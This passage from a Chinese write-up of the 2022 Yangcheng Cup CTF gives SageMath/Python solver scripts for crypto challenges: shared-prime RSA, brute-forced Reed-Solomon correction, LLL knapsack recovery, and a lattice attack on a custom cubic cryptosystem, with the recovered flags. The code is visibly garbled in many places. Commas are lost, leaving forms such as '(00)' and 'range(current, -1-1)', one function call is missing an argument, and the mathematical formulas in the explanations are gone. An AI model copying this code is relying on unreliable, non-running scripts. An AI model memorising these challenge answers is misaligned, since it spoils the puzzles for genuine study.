c = 4364802217291010807437827526073499188746160856656033054696031258814848127341094853323797303333741617649819892633013549917144139975939225893749114460910089509552261297408649636515368831194227006310835137628421405558641056278574098849091436284763725120659865442243245486345692476515256604820175726649516152356765363753262839864657243662645981385763738120585801720865252694204286145009527172990713740098977714337038793323846801300955225503801654258983911473974238212956519721447805792992654110642511482243273775873164502478594971816554268730722314333969932527553109979814408613177186842539860073028659812891580301154746
e = 0x10001
PQ = gcd(PQ2, P2Q)
P = P2Q // PQ
Q = PQ2 // PQ
M = matrix(ZZ, [[1, P], [0, Q]])
lll = M.LLL()[0]
p = int(-lll[0]) + 58
q = int(lll[1]) + t
phi = (p - 1) * (q - 1)
d = inverse(e, phi)
n = p * q
print(long_to_bytes(int(pow(c, d, n))))
# b'DASCTF{8f3djoj9wedj2_dkc903cwckckdk}

EasyRsa

给了多组n,gcd()求出共同的素数p,然后解rsa

from Crypto.Util.number import *
from gmpy2 import *

m = 38127524839835864306737280818907796566475979451567460500065967565655632622992572530918601432256137666695102199970580936307755091109351218835095309766358063857260088937006810056236871014903809290530667071255731805071115169201705265663551734892827553733293929057918850738362888383312352624299108382366714432727
e = 65537
f = open("output.txt""r")
a = f.readlines()[::-1]
for i in a:
    # print(gcd(65439077968397540989065489337415940784529269429684649365065378651353483030304843439003949649543376311871845618819107350646437252980144978447924976470943930075812834237368425374578215977641265884859875440799334807607478705932175148673160353577875890074101393042506714001617338265284910381849259298772642190619,86843235426823545017422014398916780909062053456790256392304973548517489132984667679637386416948409930796162377844525829968317585749956057149930523547463230147376192820753802868362225137830225967953826475779047454555958271846035526319036389127587352017149417549187850782892924691511398536178090031958365483499))
    p = 7552850543392291177573335134779451826968284497191536051874894984844023350777357739533061306212635723884437778881981836095720474943879388731913801454095897
    n = int(i)
    q = n // p
    assert  n % p == 0
    phi = (p-1)*(q-1)
    d = inverse(e,phi)
    c = pow(m, d, n)
    m = c
f.close()
print(long_to_bytes(m))

Solomen's puzzle 1

考点:里德-所罗门码

里德-所罗门码可以纠错,首先看视频学习里德-所罗门码的编码方式和如何纠错

这里大致说一下纠错,根据视频所述及题目给出的信息:

假设mx为里德-所罗门码,mmx为出错以后的mx(错了2位)。(以多项式的形式表示)

原有,而

这意味着的根,即将根带入求得值都为0

如果令,其中分别为出错的位置和其对应的大小,则可以得到四组方程():

然后解方程组求解,不过我不会,但我选择爆破

每组出错的位子在[4,5,6,7]中,大小为0到256,完全可以爆破的

from Crypto.Util.number import *
import hashlib
m = 257
F = Zmod(m)
alpha = F(223)
PR.<x> = PolynomialRing(F)
gx = (x - alpha ^ 0) * (x - alpha ^ 1) * (x - alpha ^ 2) * (x - alpha ^ 3)
code = b'xb9$5.>xffxe3Sxc91xb2xebx1byR(x12{xc4xbfxa4wo|xc5-;xc9xc9S[xaeXxadxf0xef@x1cx87]x9axb9:x8cuxa5xe3EA<"xfdx9axbfqBx94xc3Rx95xd5xbdxd0x10ux10xe3xa5"Sxedxd0xf8x02xbfx124A~1]xcePxdfxf2Cr1x93xacwx03tQexcc2bxbfx0fx92xadx19x00xab|xf3xc9x9b&I%xf5x9b#xf7xa2xcbxb1x0cxeexb56xd5xd2xd5[?^x9dx8bx93xbex832xeexa9xa5x83$xe9xe5x95x01xd6x9fxadx1fx90xc3]aLx10x07{#4i^xaexdf|x9fx94xf4xafx06Rx86j&xebx0bx06xcfxb2x8exb4xb9sx97[xf1ipx06xf8xfdFsxf1`xc6x82xd8xcexf6x95{xe3x8cQxedxefxe9xb9'x19xdf^xc8x81xdex1fQx1ex86xdaxf8xfd4M0#xefx8axe9xe5xfcxe2xe3xe6xd0excexe1x0bx9eMx07xc2Yxf8Bxe1xdexfaPxe9x9dxdexc3xe3Cxa5'
n = 94257413713770111563970534929325680923943690882102478219183863722026590313165304301118258536360712467357451726680293716779730218553691126214750969333228034756948476572806064756873382054384808713137658321644158757777088916851366208046581218865015163572359836440643828462291397248680038931998325006839692797347
flag = []
for k in range(32):
    c = code[k*8:k*8+8]
    c = [_ for _ in c]
    mx = PR(c)
    f = 0
    for e1 in range(48):
        if f: break
        for e2 in range(48):
            if f: break
            if e1==e2:break
            for y1 in range(0, m):
                if f: break
                for y2 in range(0, m):
                    if f: break
                    count = 0
                    for i in range(4):
                        if not int(mx(alpha ^ i)) == int(y1 * alpha ^ (i * e1) + y2 * alpha ^ (i * e2))%m:
                            break
                        count += 1
                    if count == 4:
                        mmx = mx - y1 * x ^ e1 - y2 * x ^ e2
                        flag += [_ for _ in list(mmx)[4:]]
                        f = 1
realflag = b''
for i in flag:
    realflag+=long_to_bytes(int(i))
realflag = bytes_to_long(realflag)
e = 10632528934906371807995216845027219767890923967559690651733628659750564299493611010425615580946665632019547006685100876646048602773295571936276450835367591
realflag = realflag * inverse(e,n) % n
realflag = long_to_bytes(int(realflag))
# b'DASCTF{What_a_funny_rsa_question_posted_by_Reed_and_Solomen_LOL_HHHHHH}'
realflag = hashlib.md5(realflag).hexdigest()
print(realflag)
# 4e4fc02d88b0c8f66c924489e1bf58ea

linearAlgebra

,给了,而的第一行甚至第二行包含了

,给了函数随机将个元素改变,而也仅仅为的矩阵,这就有很大的可能中有两行及以上是没有发生变化的

如果我们将的每一个元素都看成是由背包加密得来的,那么我们就可以通过中未发生变化的那一行配合背包来解出的每一列

先看看哪些行没变

2022年羊城杯网络安全大赛 WriteUp
img
c = matrix(ZZ, c)
for k in range(32):
    pk1 = Ac[k]     #某一行
    ct1 = c.transpose()[0][k]  #对原c而言,固定某一列,对应某一行
    nbit = len(pk1)
    A = Matrix(ZZ, nbit + 1, nbit + 1)
    for i in range(nbit):
        A[i, i] = 1
    for i in range(nbit):
        A[i, nbit] = pk1[i]
    A[nbit, nbit] = -int(ct1)
    res = A.LLL()
    if 32 < res[0][0] < 128:
        print(res[0],k) # 求出M对应的固定某一列,因为固定某一列,所以如果求出结果相同,则表明该行的Ac没变

找到好多行(1,3,5,9,....)没有变化,取其中一行,恢复

f = open('out''r')
f.readline()
c = []
for i in range(32):
    C = f.readline().strip('n').replace('  '' ').replace('  '' ').replace(' '',').replace('[,','[')[1:][:-1]
    C = list(map(int, C.split(',')))
    c.append(C)
f.readline()
Ac = []
for i in range(32):
    AC = f.readline().strip('n').replace('  '' ').replace('  '' ').replace(' '',').replace('[,','[')[1:][:-1]
    AC = list(map(int,AC.split(',')))
    Ac.append(AC)
c = matrix(ZZ, c)
# for k in range(32):
#     pk1 = Ac[k]
#     ct1 = c.transpose()[0][k]
#     nbit = len(pk1)
#     A = Matrix(ZZ, nbit + 1, nbit + 1)
#     for i in range(nbit):
#         A[i, i] = 1
#     for i in range(nbit):
#         A[i, nbit] = pk1[i]
#     A[nbit, nbit] = -int(ct1)
#     res = A.LLL()
#     if 32 < res[0][0] < 128:
#         print(res[0],k)
flag1 = ''
flag2 = ''
for k in range(32):
    pk1 = Ac[1]      # 取了第1行
    ct1 = c.transpose()[k][1# 对应c转置后中的第1列
    nbit = len(pk1)
    A = Matrix(ZZ, nbit + 1, nbit + 1)
    for i in range(nbit):
        A[i, i] = 1
    for i in range(nbit):
        A[i, nbit] = pk1[i]
    A[nbit, nbit] = -int(ct1)
    res = A.LLL()
    # if 32 < res[0][0] < 128:
    #     print(res[0],k)
    flag1 += chr(int(res[0][0]))
    if k < 4:     #flag为uuid4的形式,长36
        flag2 += chr(int(res[0][1]))

print(flag1+flag2)
# b5932c2c-e210-4c39-9fb5-a7f35e861d32

NovelSystem2

关键看到,眼熟得很

像得很,找了一下别人的wp1wp2论文参考https://eprint.iacr.org/2021/1160.pdf)

直接拿了wp1中的脚本(我是脚本小子),解出来,然后就可以分解

最后把数据放进类里面,直接decrypt即可

from Crypto.Util.number import *
from gmpy2 import *
import time

class NovelSystem:
    def __init__(self, p, q, e):
        self.p = mpz(p)
        self.q = mpz(q)
        self.N = self.p * self.q
        self.beta = 0.397
        self.psi = (self.p ** 2 + self.p + 1) * (self.q ** 2 + self.q + 1)
        self.e = mpz(e)
        self.d = invert(mpz(self.e), mpz(self.psi))
        self.r = 3

    def add_(self, a, b):
        m, n = a
        k, l = b
        if a[1] == 0:
            a, b = b, a
            m, n, k, l = k, l, m, n
        if l == 0:
            if n == 0:
                return (m * k, m + k)
            if (n + k) % self.N == 0:
                if (m - n ** 2) % self.N == 0:
                    return (00)
                return ((m * k + self.r) * invert(m - n * n) % self.N, 0)
            return ((m * k + self.r) * invert(n + k, self.N) % self.N, (m + n * k) * invert(n + k, self.N) % self.N)
        if (m + k + n * l) % self.N != 0:
            return ((m * k + (n + l) * self.r) * invert(m + k + n * l, self.N) % self.N,
                    (n * k + m * l + self.r) * invert(m + k + n * l, self.N) % self.N)

        if (n * k + m * l + self.r) % self.N == 0:
            return (00)
        return ((m * k + (n + l) * self.r) * invert(n * k + m * l + self.r, self.N) % self.N, 0)

    def mul_(self, a, n):
        ans = (00)
        while n > 0:
            if n & 1 == 1:
                ans = self.add_(ans, a)
            a = self.add_(a, a)
            n //= 2
        return ans

    def encrypt(self, m):
        return self.mul_(m, self.e)

    def decrypt(self, c):
        return self.mul_(c, self.d)
############################################
# Config
##########################################

"""
Setting debug to true will display more informations
about the lattice, the bounds, the vectors...
"""

debug = True

"""
Setting strict to true will stop the algorithm (and
return (-1, -1)) if we don't have a correct 
upperbound on the determinant. Note that this 
doesn't necesseraly mean that no solutions 
will be found since the theoretical upperbound is
usualy far away from actual results. That is why
you should probably use `strict = False`
"""

strict = False

"""
This is experimental, but has provided remarkable results
so far. It tries to reduce the lattice as much as it can
while keeping its efficiency. I see no reason not to use
this option, but if things don't work, you should try
disabling it
"""

helpful_only = True
dimension_min = 7  # stop removing if lattice reaches that dimension


############################################
# Functions
##########################################

# display stats on helpful vectors
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii, ii] >= modulus:
            nothelpful += 1

    print(nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")


# display matrix picture with 0 and X
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii, jj] == 0 else 'X'
            if BB.dimensions()[0] < 60:
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        print(a)


# tries to remove unhelpful vectors
# we start at current = n-1 (last vector)
def remove_unhelpful(BB, monomials, bound, current):
    # end of our recursive function
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB

    # we start by checking from the end
    for ii in range(current, -1-1):
        # if it is unhelpful:
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
            # let's check if it affects other vectors
            for jj in range(ii + 1, BB.dimensions()[0]):
                # if another vector is affected:
                # we increase the count
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj

            # level:0
            # if no other vectors end up affected
            # we remove it
            if affected_vectors == 0:
                print("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                return BB

            # level:1
            # if just one was affected we check
            # if it is affecting someone else
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # if it is affecting even one vector
                    # we give up on this one
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # remove both it if no other vector was affected and
                # this helpful vector is not helpful enough
                # compared to our unhelpful one
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(
                        bound - BB[ii, ii]):
                    print("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii - 1)
                    return BB
    # nothing happened
    return BB


def attack(N, e, m, t, X, Y):
    modulus = e

    PR.< x, y > = PolynomialRing(ZZ)
    a = N + 1
    b = N * N - N + 1
    f = x * (y * y + a * y + b) + 1

    gg = []
    for k in range(0, m + 1):
        for i in range(k, m + 1):
            for j in range(2 * k, 2 * k + 2):
                gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))
    for k in range(0, m + 1):
        for i in range(k, k + 1):
            for j in range(2 * k + 22 * i + t + 1):
                gg.append(x ^ (i - k) * y ^ (j - 2 * k) * f ^ k * e ^ (m - k))

    def order_gg(idx, gg, monomials):
        if idx == len(gg):
            return gg, monomials

        for i in range(idx, len(gg)):
            polynomial = gg[i]
            non = []
            for monomial in polynomial.monomials():
                if monomial not in monomials:
                    non.append(monomial)

            if len(non) == 1:
                new_gg = gg[:]
                new_gg[i], new_gg[idx] = new_gg[idx], new_gg[i]

                return order_gg(idx + 1, new_gg, monomials + non)

    gg, monomials = order_gg(0, gg, [])

    # construct lattice B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](00)
        for jj in range(1, nn):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](X, Y)

    # Prototype to reduce the lattice
    if helpful_only:
        # automatically remove
        BB = remove_unhelpful(BB, monomials, modulus ^ m, nn - 1)
        # reset dimension
        nn = BB.dimensions()[0]
        if nn == 0:
            print("failure")
            return 00

    # check if vectors are helpful
    if debug:
        helpful_vectors(BB, modulus ^ m)

    # check if determinant is correctly bounded
    det = BB.det()
    bound = modulus ^ (m * nn)
    if det >= bound:
        print("We do not have det < bound. Solutions might not be found.")
        print("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1-1
    else:
        print("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")

    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus ^ m)

    # LLL
    if debug:
        print("optimizing basis of the lattice via LLL, this can take a long time")

    BB = BB.LLL()

    if debug:
        print("LLL is done!")

    # transform vector i & j -> polynomials 1 & 2
    if debug:
        print("looking for independent vectors in the lattice")
    found_polynomials = False

    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
            # for i and j, create the two polynomials
            PR.< a, b > = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](a, b) * BB[pol1_idx, jj] / monomials[jj](X, Y)
                pol2 += monomials[jj](a, b) * BB[pol2_idx, jj] / monomials[jj](X, Y)

            # resultant
            PR.< q > = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)

            # are these good polynomials?
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break

    if not found_polynomials:
        print("no independant vectors could be found. This should very rarely happen...")
        return 00

    rr = rr(q, q)

    # solutions
    soly = rr.roots()

    if len(soly) == 0:
        print("Your prediction (delta) is too small")
        return 00

    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]

    return solx, soly

def inthroot(a, n):
    return a.nth_root(n, truncate_mode=True)[0]

N, e, s = (6960879119242191928375767547556892077335385255398429453524671432221714792614033478638267144716180931905975792666010490726489247151369121071316493605557536923870660034058683316451593330024688806323513669296812824613721593811406049275734502543555781894081981914631542752843240126931879889767795579014395111483735697098314569619639833178569062825642477946561748833465513184554097819518215321944643160397069688560000988924631234528015819137604198672177446129938767265085659538762185279868793384195270711328825168454670782529018615108347627336806244036626838421572129668836707827847074201869397925393804166737026189541486091787813523934895521937428697356494797076313236676212947375628869463467834597135627393244440151415879689547917907243860915230347529103302712021441228278764412292198990776224715348608554120528771751202189228733008851139363469891984039274938489847682177385625073504272740748102578906790689445196503505400617733)
X = 1 << 400
Y = 2 * inthroot(Integer(2 * N), 2)
res = attack(N, e, 42, X, Y)
b, c = res[1], N
Dsqrt =  inthroot(Integer(b^2-4*c),2)
p, q = (b + Dsqrt) // 2, (b - Dsqrt) // 2
assert p * q == N

c = (mpz(25277872308079622747549210576460613586229133947234593535200353386990766871354231190884983744062724190757790170095336476433339679661865115249940491581950905446714526508336734968117122923367321009658430492676221613955154012709104353264746945809594342072744903918483080444098810305069478604650812993367066108686), mpz(23837611977059204694294310415628596206205358541193793076161113947121055317488611201828968875769165810136018932772918536959013421962176622562932517080185242296377551991015543007194938521921909070483342042300905806379510158998331097627686209024554054114596970966269941945120227200103961459438854583220408434182))
enc = NovelSystem(p,q,e)
m = enc.decrypt(c)
print(long_to_bytes(int(m[0]))+long_to_bytes(int(m[1])))
# b'DASCTF{a1a4a518320a469088c64aa4fbc22438}'

2022年羊城杯网络安全大赛 WriteUp
扫码关注我们

文案:TeamGipsy

排版:江   越

审核:刘雪娇

往期推荐:

载誉归来 | 祝贺实验室学生在西湖论剑·第六届网络安全技能大赛喜获佳绩

星星之火点燃今日荣光,安全之路共筑未来华章——“信息华章”学院表彰大会特辑

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月25日03:27:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2022年羊城杯网络安全大赛 WriteUphttp://cn-sec.com/archives/1758500.html

发表评论

匿名网友 填写信息